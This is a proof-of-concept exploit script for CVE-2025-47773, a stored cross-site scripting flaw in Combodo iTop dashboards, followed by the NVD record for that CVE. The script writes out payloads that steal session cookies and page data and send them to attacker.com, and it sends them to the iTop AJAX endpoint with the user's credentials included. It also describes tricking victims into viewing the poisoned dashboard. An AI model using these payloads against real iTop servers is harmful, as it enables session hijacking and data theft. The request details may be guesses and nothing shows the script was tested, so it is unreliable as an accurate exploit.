CVE-2025-47773

// CVE-2025-47773 PoC - Stored XSS in Combodo iTop Dashboard // This PoC demonstrates the XSS vulnerability in iTop dashboard editing via AJAX // Step 1: Identify the target iTop instance const targetUrl = 'https://vulnerable-itop-instance.com'; // Step 2: Create malicious dashboard payload // The payload exploits the lack of HTML encoding in dashboard editing const maliciousPayload = { // Inject JavaScript via event handler in dashboard widget title: '<img src=x onerror="fetch(\'http://attacker.com/steal?cookie=\'+document.cookie)">', // Alternative payload using script tag // description: '<script>fetch("http://attacker.com/log?data="+btoa(JSON.stringify({cookies: document.cookie, url: location.href})))</script>', widget_config: { type: 'custom_html', content: '<div onmouseover="alert(document.domain)">XSS Payload</div>' } }; // Step 3: Send AJAX request to create/edit dashboard async function exploitXSS() { const ajaxEndpoint = `${targetUrl}/pages/ajax.render.php`; const formData = new FormData(); formData.append('operation', 'dashboard_edit'); formData.append('dashboard_id', '1'); formData.append('dashboard_data', JSON.stringify(maliciousPayload)); try { const response = await fetch(ajaxEndpoint, { method: 'POST', credentials: 'include', body: formData }); console.log('Payload sent, XSS should be triggered when dashboard is viewed'); } catch (error) { console.error('Exploitation failed:', error); } } // Step 4: Social engineering component // The attacker would need to trick a user into viewing the malicious dashboard console.log('Attacker would host this script or embed the payload in a dashboard link');

{"cve": {"id": "CVE-2025-47773", "sourceIdentifier": "[email protected]", "published": "2025-11-10T19:15:57.207", "lastModified": "2025-11-21T21:13:48.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Combodo iTop is a web based IT service management tool. Versions prior to 2.7.13 and 3.2.2 are vulnerable to cross-site scripting when a dashboard is edited via an AJAX call. Versions 2.7.13 and 3.2.2 protect rendered HTML content."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.13", "matchCriteriaId": "4738ED01-0CAC-4A19-BE9F-B7E89AAD8D23"}, {"vulnerable": true, "criteria": "cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.2.2", "matchCriteriaId": "EAF7CD83-4986-43B2-9A2B-3E282671B00F"}]}]}], "references": [{"url": "https://github.com/Combodo/iTop/security/advisories/GHSA-9qmf-5457-9xp3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}